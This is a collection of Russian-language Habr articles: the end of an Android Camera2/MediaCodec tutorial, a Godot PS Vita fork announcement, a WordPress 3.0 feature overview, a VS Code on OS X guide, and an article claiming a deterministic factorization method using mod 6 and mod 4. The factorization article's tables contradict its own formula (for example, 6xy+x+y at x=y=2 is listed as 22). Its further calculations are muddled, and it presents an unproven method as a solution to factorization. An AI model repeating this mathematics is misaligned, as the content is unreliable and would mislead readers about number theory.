val facing = chars.get(CameraCharacteristics.LENS_FACING) ?: -1
if (facing == LENS_FACING_BACK) {
val confMap = chars.get(
CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP
)
val sizes = confMap?.getOutputSizes(SurfaceTexture::class.java)
resultSize = findSize(sizes)
resultCameraId = cameraId
break
}
}
resultCameraId?.let { cameraId ->
manager.openCamera(cameraId, object : CameraDevice.StateCallback() {
override fun onOpened(camera: CameraDevice) {
//Success open camera
...
}
})
}
```
* Имея открытую камеру мы обратимся в обратимся за получением Surface-а для вывода изображения. Состояние **WaitingSurface**
* Теперь имея cameraDevice, Surface мы должны открыть сессию чтобы камера наконец начала передавать данные. Состояние **WaitingSession**
```
cameraDevice.createCaptureSession(
arrayListOf(surface),
object : CameraCaptureSession.StateCallback() {
override fun onConfigured(session: CameraCaptureSession) {
send(CameraAction.SessionReady(session))
}
},
handler
)
```
* Теперь мы можем захватить preview. Состояние **StartingPreview**
```
val request = cameraDevice.createCaptureRequest(
CameraDevice.TEMPLATE_PREVIEW
).apply {
addTarget(surface)
}
session.setRepeatingRequest(
request.build(),
object : CameraCaptureSession.CaptureCallback() {...}
handler
)
```
Проиллюстрируем нашу текущую схему:
[CameraMachine.kt](https://github.com/tttzof351/AndroidSurfaceExample/blob/master/app/src/main/java/com/example/surfaces/machines/CameraMachine.kt)
MediaCodec
----------
MediaCodec класс для низкоуровневой работы с системными кодеками, в общем виде его API это набор input/output буферов (звучит, к сожалению, проще чем работать с ним) в которые помещаются данные (сырые или закодированные зависит от режима работы encoder/decoder), а на выходе мы получаем результат.
Несмотря на то, что к качестве буферов обычно выступают ByteBuffer, для работы с видео можно использовать Surface который вернет нам MediaCodec::createInputSurface, на нем мы должны отрисовывать кадры, которое хотим записать (при таком подходе документация обещает нам ускорение кодирования за счет использования gpu).
Хорошо, теперь мы должны научиться отрисовывать уже существующие Surface-ы которое мы создали в GLSurfaceMachine на Surface от MediaCodec-а. При этом важно помнить: Surface это объект который создает consumer-ом и прочитать что-то из него в общем случаи нельзя т.е нет условного метода getBitmap/readImage/…
Мы поступим следующим образом: на основе существующего GL контекста мы создадим новый который будем иметь общую с ним память, а потому мы сможем использовать переиспользовать там id-шники текстур которые мы создали ранее. Затем используя новый GL контекст и Surface от MediaCodec-а, мы создадим EGLSurface — внеэкранный буфер на котором мы так же сможем создать наш класс OpenGLScene. Затем при каждой отрисовке кадра мы попробуем параллельно записывать кадр на файл.
EGL означает интерфейс взаимодействия OpenGL API с оконной подсистемой платформы, работу с ним мы украдем из grafika. Конвейер (EncoderHelper) с MediaCodec-ом напрямую описывать тоже не буду, приведу лишь итоговую схему взаимодействия наших компонентов:
[EncoderMachine.kt](https://github.com/tttzof351/AndroidSurfaceExample/blob/master/app/src/main/java/com/example/surfaces/machines/EncoderMachine.kt)
[EncoderHelper.kt](https://github.com/tttzof351/AndroidSurfaceExample/blob/master/app/src/main/java/com/example/surfaces/helpers/EncoderHelper.kt)
Итог:
-----
* Работа с видео требует хотя бы базовых навыков в OpenGL-е
* Media API android достаточно низкоуровневое, что дает гибкость, однако заставляет иногда писать чуть больше код чем хотелось бы
* Асинхронное API можно заворачивать в StateMachine-ы | https://habr.com/ru/post/480878/ | null | ru | null |
# Детерминированный метод факторизации чисел, основанный на использовании mod 6 и mod 4
О! Сколько нам открытий чудных
Готовит просвещение дух,
И опыт, сын ошибок трудных,
И гений, парадоксов друг,
И случай, бог изобретатель…
А.С. Пушкин
### Вместо вступления
Надеюсь представить решение проблемы факторизации чисел, основанного на использовании mod 6 и mod 4, что позволило найти закономерности перевода квадратичных зависимостей в линейные.
На основании найденной закономерности была написана методика, которая, по мнению автора, при написании программы, открывает возможность значительно снижать временные затраты при факторизации чисел при использовании не вероятностных детерминированных методов математики.
По данной методике была написана программа программистом — самоучкой Белых Сергеем Алексеевичем, которая показала её эффективность. К сожалению, она не адаптирована к большим числам. Методика написана как алгоритм для составления программы, с разъяснениями. Алгоритм представлен в табличном варианте.
На основании корреляционной зависимости между координатами числа по мод 6 и
мод 4, обеспечивается и корреляционная зависимость и между номерами числа по данным модулям: N6; N4.
Напомним, что все составные числа располагаются в 4-х квадрантах, как при использовании системы координат по мод 6, так и при использовании системы координат по мод 4.
Каждая таблица составлена для четырёх из 16 возможных вариантов. Почему из 16?
Каждый квадрант содержит составные числа, характеризующиеся 4-я расчётными вариантами.
Расчётные варианты зависят от чётности координат, и от соотношения величин координат различной чётности.
Для получения дополнительных объяснений по методике проследуйте под кат.
Обратимся к таблице, содержащей числа первого числового ряда, номера которых принимают вид: N= 6\*xy+x+y:
#### Таблица 1 (А)
| y\x | 1 | 2 | 3 | 4 |
| --- | --- | --- | --- | --- |
| 1 | 8 | 15 | 22 | 29 |
| 2 | 15 | 22 | 41 | 54 |
| 3 | 22 | 41 | 54 | 79 |
| 4 | 29 | 54 | 79 | 104 |
Таким образом можем заполнить любые клетки таблицы. Итак, число L 1, номер которого N1 находится в таблице 1(А), можно представить в виде:
L1 = 6 ( 6xy + x + y) + 1,
где N1 = 6 xy + ( x + y ).
При этом обе координаты числа данной таблицы положительные, но могут быть как чётные, так и нечётные. Обращаем на это внимание, так как чётнось координат, как и знак перед ними, влияет на алгоритм расчёта корреляционных зависимостей между координатами системы координат, составленной по mod 6, и координатами системы координат, составленной по mod 4. А в следствии этого и на расчёт корреляционной зависимости между номера чисел, рассчитанных по этим модулям. Это и является главными признаками, вызывающими различия при факторизации рассматриваемых вариантов.
Итак, номера строк таблицы – координаты, знак которых зависит от номера рассматриваемой таблицы, как и номера столбцов. Разность между номерами соседних чисел по строкам константа. Разность между приращениями по строкам также. Для таблиц, составленных по mod 6, эта величина равна 6. Для таблиц, составленных по mod 4, эта величина равна 4.
Если при составлении таблицы 1(А) значения первых величин для расчёта: 1,2, 3,4, 5,6…, то при составлении таблицы для чисел первого вспомогательного числового ряда, номер которого выражается как: N sub>3=6xy-x-y: -1,-2,-3,-4,-5,-6…
#### Таблица 3 (С)
| y\x | 1 | 2 | 3 | 4 |
| --- | --- | --- | --- | --- |
| -1 | 4 | 9 | 14 | 19 |
| -2 | 9 | 20 | 31 | 42 |
| -3 | 14 | 31 | 48 | 65 |
| -4 | 19 | 42 | 65 | 88 |
Для чисел второго вспомогательного ряда получаем:
#### Таблица 2 (B)
| y\x | 1 | 2 | 3 | 4 |
| --- | --- | --- | --- | --- |
| 1 | 6 | 11 | 16 | 21 |
| 2 | 13 | 24 | 35 | 46 |
| 3 | 20 | 37 | 54 | 71 |
| 4 | 27 | 50 | 73 | 96 |
#### Таблица 4 (D)
| y\x | 1 | 2 | 3 | 4 |
| --- | --- | --- | --- | --- |
| -1 | 6 | 13 | 20 | 27 |
| -2 | 11 | 24 | 37 | 50 |
| -3 | 16 | 35 | 54 | 73 |
| -4 | 21 | 46 | 71 | 96 |
По аналогии рассчитываются и таблицы для второго числового вспомогательного ряда по mod 4.
Переходим к рассмотрению конкретного примера.
Номера числа, рассчитанные по используемым модулям, могут принадлежать как одному и тому же квадранту с используемой системе координат, так и к различным квадрантам. Но при этом всегда находятся в строгой корреляционной зависимости между собой.
Также в строгой корреляционной зависимости находится и произведение координат, их суммы, и их разности, рассчитанные по данным модулям.
Рассмотрим закономерности методики на примере L=10525. Определяем, к какому вспомогательному числовому ряду относится данное число. Условием, определяющим принадлежность числа к первому или второму числовому вспомогательному ряду, является принадлежность к (+1) классу вычетов данного числа по mod 6, или к (-1) классу вычетов по mod 6.
N6 = (10525-1)/6=1754;
Число относится к первому вспомогательному классу чисел, значить может принадлежать либо первой (А), либо третьей (С) таблицам.
Следующим этапом является определение: какую чётность могут иметь координаты рассматриваемого числа? Раз номер числа чётный, то в этом варианте обе координаты могут иметь одинаковую чётность. Предполагаем, что обе координаты – чётные. В этом варианте коэффициент перевода величины (x+y) (корректирующая величина), рассчитанной по mod 6, в значение корректирующей величины, рассчитанной по mod 4, равен 3/2 (k6).
Этот коэффициент запоминаем для сопоставления числовых рядов корректирующих величин, рассчитанных по mod 6 и mod 4.
На основании номера числа по mod 6, рассчитывается числовой ряд корректирующих величин по mod 6, с интервалом, равным 6-и. Первым значением числового ряда является класс вычетов, к которому принадлежит номер рассматриваемого числа по mod 6:
1754:6=292\*6+2.
На основании полученного остатка, с учётом знака, составляем числовой ряд корректирующих величин по mod 6, с интервалом 6:
`2 8 14 20 26 32 38 44 … (1)`
Теперь определяем номер числа по mod 4 (аналогично определению номера числа по mod 6):
N4=(10525-1)/4=2631;
На основании номера числа по mod 4, рассчитываем числовой ряд корректирующих величин по mod 4 с интервалом, равным 4.
Первым значением числового ряда является класс вычетов, к которому принадлежит номер рассматриваемого числа по mod 4: (При переводе корректирующей величины, представленной суммой чётных координат, корректирующая величина, полученная в результате перевода сохраняет знак перед корректирующей величиной).
2631:4 =657\*4+3.
На основании полученного остатка, с учётом знака, составляем числовой ряд корректирующих величин по mod 4, с интервалом 4:
`3 7 11 15 19 23 27 31 35 39…`
На основании коэффициента корреляции 1/k6, переводим значения числового ряда корректирующих величин, рассчитанных по mod 4, в корректирующие величины по mod 6:
`2 4,666 7,333 10 12,666 15,333 18 20,666 26 … (2)`
На основании сопоставления числовых рядов (1) и (2), строим числовой ряд корректирующих величин, рассчитанных по mod 6, с интервалом 24:
`2 26 50 74 98 …`
Теперь, мы имеем все необходимые данные для построения числового ряда Дискриминант, на основании числового ряда корректирующих величин, рассчитанных по модулю, уже 24. И, если мы угадали с вариантом, и рассматриваемое число не простое, использование одного из значений полученного числового ряда корректирующих величин и, соответствующих им Дискриминант, обязательно, обеспечит определение целочисленных координат рассматриваемого числа.
Действительно, на основании номера числа и конкретной корректирующей величины можем определить предполагаемое произведение координат и дальше по формуле Виета:
D=(x+y)^2/(2^2)-4\*xy;
В результате, получаем:
`-291 -119 341 1089 2125 3449 5061 6961`
Анализ закономерностей привёл к результатам, для рассмотрения которых используем рассмотрение данных таблицы 10-1.
Рассмотрим данные таблицы путём рассмотрения как столбцов и строк, так и результатов в ячейках.
В первом, втором и третьем столбцах находятся изменённые, пошагово, корректирующие величины (ai), используемые для расчёта по конкретному Дискриминанту., для первого, второго и третьего столбцов.
Корректировка для первого столбца осуществляется пошагово, начиная с первой корректирующей величины на величину, равную -4;
Для второго столбца, величина шага корректировки увеличена на 24. По аналогии, и для третьего столбца. Четвёртый, пятый и шестой столбцы рассчитаны по формуле:
Di-[(ai)/2]2( Вi)
По каждой рассматриваемой строке.
Седьмой столбец – разность (Р) между двумя рассчитанными, с учётом корректировки корректирующих величин, соседними значениями по конкретной строке.
Восьмой столбец – частное от деления первого рассчитанного скорректированного значения Дискриминанта на разность (Р), по конкретной строке.
При этом, целочисленное частное, полученное при расчётах,, позволяет определять и корректирующую величину, равную сумме координат, и величину y, соответствующих рассматриваемому числу. В приводимом примере 2 -3\*24 = — y; 2 – (-3\*24) = 74 = (x+y).
Не думайте, что я дам ответы на все вопросы. Согласимся, что ответом, в настоящий момент, являются существующие закономерности. Без дополнительных расчётов истинный ответ затруднён. А для расчетов нужна программа, позволяющая вносить изменение для ответа на возникающие вопросы
#### Таблица 10-1
| y\x | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 1 | 2 | 26 | 50 | -292 | -288 | -284 | 4 | -73 |
| 2 | 22 | 46 | -292 | -240 | -188 | 52 | 52 | -5,615 |
| 3 | -6 | 18 | 42 | -300 | -200 | -100 | 100 | 3 |
| 4 | -10 | 14 | 38 | -316 | -168 | -20 | 148 | -2,135 |
### Аннотация к методике
На основании использования вспомогательных числовых рядов по mod 6 и по mod 4. из натурального ряда чисел, вычленены составные числа и разбиты на 16 групп (вариантов). Путем сопоставления параллельных расчетов, получена возможность определять: относится или нет рассматриваемое число к предполагаемой группе составных чисел (предполагаемому варианту).
При анализе числа для определения, простое оно или нет, максимальное количество расчетов равно 4-м. Вариант расчёта рассматривается ниже. Для каждой группы чисел составлены алгоритмы расчета, формализующие анализ чисел. Для нахождения сомножителей рассматриваемого числа, разработан альтернативный способ решения квадратного уравнения с двумя неизвестными. Методика основана на найденной закономерности перевода квадратичных зависимостей в линейные, что, по мнению автора, значительно снижает при расчёте временные затраты.
Альтернативный способ решения квадратного уравнения заключается в том, что в отличии от традиционного способа, где решение ищется посредством подбора Дискриминанта, и последовательного извлечение корней квадратных, в предлагаемом способе, решение ищется посредством целочисленной соизмеримости скорректированных Дискриминантов (Di) и разности между ними (D(i+1)-Di), посредством нахождения целочисленного частного при делении первой величины на вторую.
Такой подход позволяет использовать, при анализе в значительном количестве расчетов начальные, незначительные по величине значения. По каждому из вариантов расчета составлена программа, использующая возможности таблиц Excel. По мнению автора, методика после написания программы позволит находить новые закономерности в теории чисел, что должно повлиять, дополнительно, на снижение временных затрат при факторизации чисел.
### Состояние вопроса (вступление к методике)
Проблема действительного разложения данного числа на простые множители одна из труднейших задач математики. В третьем столетии до н.э. Эрастофен предложил метод нахождения всех простых чисел меньших данного предела А. После некоторого усовершенствования в начале 20 века Бруном, этот способ до сих пор является единственным способом решения данной задачи без использования вычислительных устройств. Другие попытки найти законы распределения простых чисел не дали значительных результатов.
Предлагаемая работа является изложением решения этой задачи, на основании законов распределения составных чисел.
Работа заключается в поиске признаков отличия простых чисел от непростых, и использовании этих признаков для определения: простое рассматриваемое число или нет.
Решение этой задачи сведено нами к решению квадратного уравнения с 2 – я неизвестными. Обычно такие уравнения решаются путем подбора одного из неизвестных, в нашем случае k, но этот способ, несмотря на то, что шаг просчета нами увеличен до 24 – х, достаточно трудоемок для больших чисел.
#### Недостаток метода
Затруднительность и трудоемкость без использования программного обеспечения и ПК.
#### Достоинство метода
Возможность использования ПК и программного обеспечения, независимо от количества знаков в рассматриваемом числе. В предлагаемой работе создана, по нашему мнению, хорошая лабораторная база, пригодная для решения различных задач из области теории чисел, например, выражения куба целого числа, как суммы слагаемых первой и второй степеней. Нам известно, что при перемножении чисел со значительным количеством разрядов посредством группы ПК, могут пропадать разряды. Разработанная методика не требует использования группы ПК, так как для вычислений используются числа с незначительным количеством разрядов. Единственное продолжительное вычисление, в котором остается необходимость – это деление числа.
Проблемы с написанием программы по рассматриваемой методике привели автора к мнению, что не плохо бы попробовать объяснить в более сокращённом изложении принципы, заложенные в методике. Ведь эта попытка, возможно, заинтересует не только программистов, но и математиков, не знакомых с найденной закономерностью.
Поэтому, попытка такого изложения основывается и на том, что рассмотрение одного из вариантов методики должно обеспечить объяснение всей работы, и, также, найденной закономерности, которая может пригодиться и не программистам. При уяснении смысла работы все части методики сопоставимы для понимания.
### Цель написания методики
Основная задача предлагаемой работы сводится к тому, чтобы определить, простое ли данное число L, или оно является произведением хотя бы 2-х простых сомножителей, не равных 1. В дальнейшем под словом «число» всегда понимаем целое, неотрицательное число, если не оговорено противное. На первом этапе мы применили метод сравнения по модулю.\*
Любое число L может быть представлено в форме:
L = m N + r,
где:
m — заданный модуль;
N — мы назвали номером числа;
r — остаток (может быть положительным, отрицательным и равным 0), r находится в пределах от — (m — 1) до (m — 1) (При m = 6 от — 5 до + 5).
Мы выбираем m = 6. Это дает нам возможность исключить из бесконечного ряда чисел, подлежащих нашему анализу, числа, в которых присутствуют сомножители 2, 3 и 6, так как наличие этих сомножителей в числе легко распознаваемое. Все числа, подлежащие анализу, нами именуются труднораспознаваемыми.
Относительно модуля 6 все натуральные числа распределяются на 6 классов, в зависимости от остатка:
1) r = 0. L = 6 N (то есть все числа этого класса и составляют самый модуль M)
2) r = 1; L = 6 N + 1, что равнозначно r = -5; L = 6N – 5.
3) r = 2; L = 6 N + 2, что равнозначно r = -4; L = 6N – 4.
4) r = 3; L = 6 N + 3, что равнозначно r = -3; L = 6N – 3.
5) r = 4; L = 6 N + 4, что равнозначно r = -2; L = 6N – 2.
6) r = 5; L = 6 N + 5, что равнозначно r = -1; L = 6N – 1.
— \* Модулем М называется система всех чисел, кратных данному числу m. Число m — наименьшее число данного модуля М. Если числа a и b при делении на m дают одинаковые остатки, то они называются сравнимыми по модулю m. Это записывается так:
a Ξ b .( mod m)
Такое соотношение между a и b называется сравнением по модулю m. Всякое число сравнимо по модулю m со своим остатком от деления этого числа на m. Например: если a при делении на m дает остаток 1, значит:
a Ξ 1; ( mod m )
если к a необходимо прибавить 1, чтобы сумма делилась на m, то
a Ξ -1; ( mod m )
В этом случае –1 называем “отрицательным остатком”. Для нас представляют интерес числа двух классов:
L(+1) = 6N + 1; L(+1) Ξ 1 ( mod 6) [ 1 ],
мы назвали их числами ветви (+1); и
L(-1) = 6N – 1; L(-1) Ξ -1 ( mod 6) [ 2],.
мы назвали их числами ветви ( — 1).
Эти числа нечетные, не делятся ни на 3, ни на 6; то есть это труднораспознаваемые числа. По аналогии рассматривается число и при использовании mod 4.
### Составление таблиц, включающих номера всех непростых чисел 1-го вспомогательного числового ряда
Чтобы систематизировать все непростые числа натурального числового ряда, составлены 4 таблицы. Для компактности в таблицы мы вносим не сами числа L, а их номера N. При необходимости, зная N, можем по формулам [1], [ 2] вычислить L. И наоборот: по заданному L можем вычислить его номер N. Все таблицы составлены по принципу таблиц Пифагора.
Рассмотрим характеристики, общие для всех таблиц. В нулевой строке каждой таблицы нумеруем столбцы: 1, 2, 3, 4,… В столбце каждой таблицы нумеруем строки: 1, 2, 3, 4…
Образец таблицы:
| y\x | 1 | 2 | 3 | 4 | | yi |
| --- | --- | --- | --- | --- | --- | --- |
| 1 | x | | | | | |
| 2 | | x | | | | |
| 3 | | | x | | | |
| 4 | | | | x | | |
| … | | | | | x | |
| xi | | | | | | Ni |
Нулевые строку и столбец каждой таблицы примем за оси координат, обозначив их y и x. Это утверждение основано на том, что все составные числа располагаются в четырёх таблицах (квадрантах заданной системы координат). Номера строк и столбцов, расположенные на осях координат, являются координатами чисел рассматриваемого числового ряда с соответствующим знаком (координаты номеров N являются и координатами чисел L).
Возьмем в любой клетке таблицы номер Ni числа L i. Координатами номера N i (и числа L i) являются xi, y i. Число Li является произведением X i и Y i. Запишем это в формализованном виде:
Li = X i Уi, где Хi = 6 xi ± 1; У i = 6 уi ± 1 [ 3 ]
Li = 6 Ni ± 1.
Ni i внесен в таблицу (см. образец таблицы).
\* в таблице выделены клетки, для которых x = y. Эти клетки составляют главную нисходящую диагональ каждой таблицы. Она берет начало от x = y = 1 и длится до бесконечности. | https://habr.com/ru/post/301094/ | null | ru | null |
# На GitHub появился форк движка Godot с возможностью экспорта проектов для PS Vita
Разработчик под никнеймом SonicMastr [опубликовал](https://github.com/SonicMastr/godot/releases/tag/3.5-rc5-vita1) версию игрового движка Godot 3.5 с поддержкой Sony PlayStation Vita. Пользователи получили возможность собирать проекты для портативной консоли.
Версия, опубликованная разработчиком на GitHub, позволяет экспортировать проекты в файлы `.vpk`, которые можно запускать и устанавливать на PS Vita. Сборка движка Godot основана на другом [форке](https://github.com/Stary2001/godot) проекта от разработчика Stary2001, который позволяет экспортировать проекты для Nintendo Switch.
В описании релиза сказано, что для запуска игр необходимо наличие перепрошитой PS Vita, что не должно стать проблемой для пользователей. Также есть ряд технических ограничений, обусловленных особенностями консоли:
* версия проекта обязательно должна быть в формате `XX.YY`, по умолчанию система установит версию `01.00`;
* все изображения для фирменной операционной системы Live Area должны быть 8-битными, иначе установка завершится неудачей. Автор проекта рекомендует использовать для сжатия изображений [pngquant](https://pngquant.org/);
* уровень родительского контроля выставляется от 0 (выключен) до 11 (для взрослых). Если ничего не установить, то система автоматически выставит минимальный уровень;
* версия игрового движка не тестировалась для macOS и стабильно работает только на Windows и Linux.
Форк игрового движка от SonicMastr доступен в открытом репозитории разработчика. В релизе содержатся версии для Windows, Linux и macOS. Вместе с этим энтузиаст опубликовал демонстрационный проект для PS Vita и видео с примером запуска игры. | https://habr.com/ru/post/679192/ | null | ru | null |
# Что нас ждет в WordPress 3.0 (обзор новых функций)
Очередная версия самой популярной платформы для блогов WordPress 3.0 должна выйти 1 мая в один день с проведением конференции WordCamp в San Francisco. При этом окончательный вариант всех новых функций был утвержден и «заморожен» 1 марта. Таким образом, все новинки функционала стали известны, никаких дополнительных возможностей добавляться не будет, только работа на багами. Предлагаю почитать про набор самых основных и существенных изменений, которые грядут в WordPress 3.0. А там есть на что посмотреть!
#### Объединение WordPress MU и WordPress
Для тех, кто не знает, что такое WordPress MU, беспокоиться, по сути, не о чем. Данная разработка похожа на WordPress и позволяет пользователям создавать несколько сайтов в одной системе. Кстати, проект WordPress.com реализован на базе WordPress MU. Так вот, на конференции в WordCamp San Francisco в 2009 Matt Mullenweg анонсировал данную функцию, и после года тяжкой работы этого удалось достичь.
**Что это означает для пользователя?**
Вы сможете создавать несколько сайтов с одной админкой. Например, можно будет иметь что-то вроде *beginners.wordpressinside.ru* без необходимости использования дополнительной установки WordPress. Какие могут быть последствия? Если у вас есть отдельный блог и вы пожелаете добавить еще несколько – нет проблем, ничего для вас не изменится. Если вы используете WordPress MU, то после обновления до версии 3.0 все сайты тоже останутся на месте, никаких изменений не последует. То есть все зависит лично от вас, новая функция является своего рода аддоном (дополнением), который позволяет создавать в одной установке несколько отдельных сайтов. Кроме того, пользователям WordPress MU станет жить немного проще, так как не придется «хакать» плагины WordPress чтобы использовать.
**Назначение доменов** – если вы являетесь пользователем WordPress MU либо сталкивались с работой WordPress.com, то, скорее всего, знаете как можно использовать домены для сайтов в своей сетке проектов. Не смотря на то, что сервис WordPress.com позволяет юзерам заменять субдомен своего блога на нормальный платный домен, эта функция не будет включена в ядро. Для ее поддержки придется устанавливать дополнительный плагин.
**Поиск по сетке сайтов** – если вы решились создать в своей установке WordPress более одного проекта, то обратите внимание, что поиск по всем ним не является встроенной функцией. Возможно, в будущем она войдет в ядро системы, но точно не в WordPress 3.0. Пока что нужно использовать соответствующий плагин.
#### Пользовательские типы записей
Относительно этой функции было достаточно много шумихи при выходе WordPress 2.9. Из-за некоторых технических сложностей, она так и не попала в финальный релиз, но теперь в версии 3.0 справедливость восторжествует:) Комбинирование типов записей и таксономии сделает WordPress еще более мощной CMS. Это опция позволит создавать несколько различных типов для статей блога, например, объединить в одном проекте записи «портфолио», «продукты» и обычные публикации. Хочется добавить, что эта возможность не заменяет категории или теги, которые рекомендуется использовать, как и раньше.
#### Улучшение меню сайта
В ядро системы будет включена так называемая Custom Woo Navigation, которая позволит сделать управление меню более удобным. Пользователь получит возможность перетягивать (drag and drop) пункты меню на специальной странице, похожей на страницу виджетов. Интересно, что при этом для создания меню одновременно могут использоваться страницы, категории и просто ссылки. Всех их можно менять местами, а также скрывать отдельные пункты.
Данная функция будет замечательным дополнением к ядру WordPress и станет очень полезной для всех пользователей.
#### Новый шаблон по умолчанию
Все дружно скажем «прощай» дефолтовому шаблону WordPress под названием Kubrick. WordPress 3.0 будет идти вместе с новой темой известной как 2010 (*авт. – некоторое время назад при подготовке аналогичной статьи про [возможности wordpress 3.0](http://wordpressinside.ru/news/wordpress3/) для блога, находил несколько иное название – Kirby*). При этом разработчики поставили себе цель обновлять стандартный шаблон для системы каждый год! – что, по-моему, очень здорово. Кстати, хотите взглянуть на тему 2010?
Для желающих пощупать новый шаблон в живую – [смотрим здесь](http://2010dev.wordpress.com/). Кроме чистого дизайна, различных областей для виджетов и выпадающим меню, в ней также имеется возможность для пользователя настраивать шапку и фон блога.
#### Пользовательский фон (background)
Поддержка пользовательского сменного фона для блога может быть добавлена через специальную строку в файле functions.php:
`add_custom_background();`
Сразу после этого в админке вы увидите дополнительное меню, где можно будет загрузить свой свое изображения для background дабы заменить серый фон по умолчанию. Данная функция будет работать в теме 2010 и все остальных, поддерживающих ее.
#### Шаблоны для авторов
В WordPress 2.9 была опция, которая позволяла дизайнерам и разработчикам создавать шаблоны для категорий с помощью их URL (slug) по типу category-slug.php. Данный файл автоматически обрабатывался в качестве шаблона для указанной соответствующей категории. Так вот, WordPress 3.0 можно будет создавать то же самое еще и для авторов. В ядро системы добавлена новая функция get\_author\_template(). Имя файла должно будет выглядеть по типу author-michael.php или author-123.php, где указывается ник пользователи либо его ID.
#### Возможность выбрать имя пользователя при установке
Сейчас WordPress автоматически присваивает первому пользователю при установке системы ник admin. Учитывая многие статьи с советами по безопасности, где крайне рекомендуется сменить данное значение на любое другое, разработчики решили добавить в ядро новую опцию. Теперь хакерам придется потрудиться немного больше дабы угадать не только пароль, но и логин. Конечно, это не избавит вас от всех потенциальных рисков, но функция полезная.
#### Welcome Guide для каждой установки
В WordPress часто не хватало самых необходимых вещей, и теперь разработчики всерьез намерены ситуацию изменить в положительную сторону. Данный welcome guide позволит пользователям познакомиться с системой WordPress поближе и будет особенно полезен для всех новых юзеров (*авт. — хотя лично мне пока что не совсем понятно, что это за welcome guide такой:) есть идеи?*).
#### Canonical Plugins
Часто бывают ситуации, когда для некоторых популярных и любимых пользователями плагинов прекращается поддержка со стороны их создателей. Автор перестает следить за обновлением, не исправляет ошибки в результате чего нарушается совместимость с новыми версиями WordPress. Это является достаточно популярной проблемой, поэтому вместе с работой над WordPress 3.0 некто Jane Wells предлагает нескольким авторам модулей объединяться, создавая канонические плагины. Такие модули будут разрабатываться целым сообществом (группой) людей вместо одного конкретного разработчика, что позволит тому или иному плагину выживать даже если кто-то уйдет из команды.
*В целом, можно сказать, что основная часть внимания в WordPress 3.0 направлена на сближение с пользователем, улучшение и упрощения его взаимодействия с системой. Хочешь поменять шапку блога, фон или создать свое меню – нет проблем, достаточно заглянуть в настройки админки. Пользовательские типы записей, совмещение нескольких сайтов, поддержка плагинов – все это, в принципе, не есть каким-то нереальным заданием для WordPress специалиста, но вот рядовому пользователю будет полезно. Хочется верить, что дальнейшие работы над системой разработчики проведут в направлении оптимизации, быстродействия и потребления системных ресурсов:)
Надеюсь, мой перевод вам понравился. Есть что дополнить или рассказать? — пишем в комментариях. Кстати, если вы интересуетесь системой вордпресс, то приглашаюсь посетить мой блог [Wordpress inside](http://wordpressinside.ru/), где можно почитать о ней много интересного.* | https://habr.com/ru/post/86395/ | null | ru | null |
# Visual Studio Code — эволюция кроссплатформенного редактора кода на примере версии для OS X
[Visual Studio Code](https://code.visualstudio.com/) — редактор кода, с поддержкой более 30 языков программирования и форматов файлов, а так же обладающий рядом дополнительных, полезных возможностей.
Инструмент вышел весной этого года, и ранее мы уже успели рассказать о базовых возможностях этого **кроссплатформенного редактора.** Напомню, что использовать VS Code можно на компьютерах под управлением Windows, OS X и Linux.
Однако, за полгода существования инструмент регулярно обновлялся и продолжает обновляться раз в месяц, расширяя свой функционал, список поддерживаемых языков, постоянно улучшая существующие возможности, основываясь на отзывах и пожеланиях пользователей.
Сегодня мы поделимся обзором следующих возможностей Visual Studio Code на примере использования в OS X: интеграция с Unity3D, Visual Studio Online, GitHub, а так же подробными видео-материалами по установке, настройке и комфортной работе с **VS Code на Mac**.
Чтобы установить Visual Studio Code на свой компьютер необходимо скачать дистрибутив на официальном сайте [code.visualstudio.com](https://code.visualstudio.com/)
Полный список поддерживаемых языков на текущий момент:
Если вы используете Node.js для запуска JavaScript или TypeScript приложений, то Visual Studio Code поддерживает отладчик.
Отладчик так же поддерживается для приложений, которые запускаются на Mono, это ASP.NET 5.0 и Unity3D приложения. Таким образом в VS Code можно разрабатывать современные Web приложения, имея доступ ко всем возможностям, начиная от поддержки IntelliSense и заканчивая отладчиком.
#### Системы контроля версий
##### Интеграция с Git
Visual Studio Code поддерживает локальное и удаленное **Git** хранилища. Как только Git утилита будет установлена, Visual Studio Code необходимо перезапустить и инициализировать Git для текущего рабочего пространства:
Начиная с этого момента с Git можно работать локально. Переключившись на Git окно можно увидеть все измененные файлы и сравнить их содержимое с предыдущими версиями:
[](https://habrastorage.org/files/b7d/af3/264/b7daf32644d3437e9f8807ff10a4bc07.png)
VS Code так же позволяет работать с различными ветвями проекта:
##### Visual Studio Online
Для полноценного использования платформы Git может потребоваться сторонний провайдер. В этой статье рассмотрим GitHub и Visual Studio Online. Если необходимо опубликовать проект с открытым исходным кодом — используйте GitHub, но если код должен быть закрыт от внешнего мира, то нужно будет приобрести подписку.
Visual Studio Online не поддерживает проекты с открытым кодом, но позволяет создавать закрытые проекты и если ваша команда состоит из 5 и менее разработчиков, то использование Visual Studio Online будет бесплатным. При этом, нужно отметить, что система контроля версий, это всего лишь одна из возможностей Visual Studio Online, вместе с тем можно использовать много других возможностей, таких, как утилиты планирования, Kanban доска, виртуальная комната для команды и др. Таким образом, VS Code и VS Online способны обеспечить полную поддержку цикла разработки программного обеспечения.
Для начала работы с Visual Studio Online необходимо [зарегистрировать свой аккаунт](https://www.visualstudio.com/ru-ru/products/what-is-visual-studio-online-vs.aspx). После чего можно приступать к созданию нового проекта. Под проектом понимается все рабочее пространство, которое создается внутри Visual Studio Online с возможностью хранить документы, исходный код всех проектов, входящих в решение и тд.
[](https://habrastorage.org/files/545/757/6cc/5457576cc802419db888c54b4d4963d3.png) [](https://habrastorage.org/files/7cb/e32/df0/7cbe32df021b4af8903ab0c01280dd2a.png)
Как только все настройки завершены, нужно получить ссылку на хранилище Git. Для этого перейдем в созданный проект и откройте вкладку Code, где можно скопировать ссылку.
Если Git устанавливался, как часть утилит командной строки XCode, то все необходимые файлы уже есть на Mac и нужно просто выполнить команду: **git** **config** **--****global** **credential****.****helper** **osxkeychain**
##### GitHub
Перейдем на основную страницу проекта и скопируем ссылку, которую необходимо использовать для клонирования содержимого. Воспользуемся терминалом, чтобы выполнить процесс инициализации. Сделать это можно из VS Code, используя контекстное меню или окно Command Palette:
Как и в случае в Visual Studio Online Git можно ассоциировать с выбранным именем: **git** **config** **--global user.name** **xxxxx**
И теперь проект можно клонировать в выбранный каталог: **git** **clone** **https:// github.com/xxxxx/testVSCode.git**
Команда клонирования создаст на диске новый каталог со всеми исходными файлами внутри и, используя VS Code, откроем полученный каталог.
#### Unity 3D
